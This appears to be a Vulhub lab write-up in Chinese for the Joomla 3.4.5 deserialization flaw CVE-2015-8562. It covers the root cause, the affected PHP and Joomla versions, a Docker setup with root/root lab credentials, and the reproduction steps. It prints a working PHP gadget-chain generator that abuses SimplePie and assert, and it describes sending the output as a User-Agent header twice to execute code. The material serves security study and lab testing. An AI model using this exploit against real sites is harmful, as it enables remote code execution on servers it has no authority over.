Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
Path joomla/CVE-2015-8562
本漏洞根源是PHP5.6.13前的版本在讀取存儲好的session時,如果反序列化出錯則會跳過當前一段數據而去反序列化下一段數據。而Joomla將session存儲在Mysql數據庫中,編碼是utf8,當我們插入4字節的utf8數據時則會導致截斷。截斷后的數據在反序列化時就會失敗,最后觸發反序列化漏洞。
通過Joomla中的Gadget,可造成任意代碼執行的結果。
詳情可參考:
影響版本
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
測試環境
啟動測試環境:
docker-compose up -d
啟動后訪問http://your-ip:8080/即可看到Joomla的安裝界面,當前環境的數據庫信息為:
- 數據庫地址:mysql:3306
- 用戶:root
- 密碼:root
- 數據庫名:joomla
填入上述信息,正常安裝即可。
漏洞復現
然后我們不帶User-Agent頭,先訪問一次目標主頁,記下服務端返回的Cookie:

再用如下腳本生成POC:(在線運行)
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";

將生成好的POC作為User-Agent,帶上第一步獲取的Cookie發包,這一次發包,臟數據進入Mysql數據庫。然后同樣的包再發一次,我們的代碼被執行:

Vulhub 文檔
推薦文章: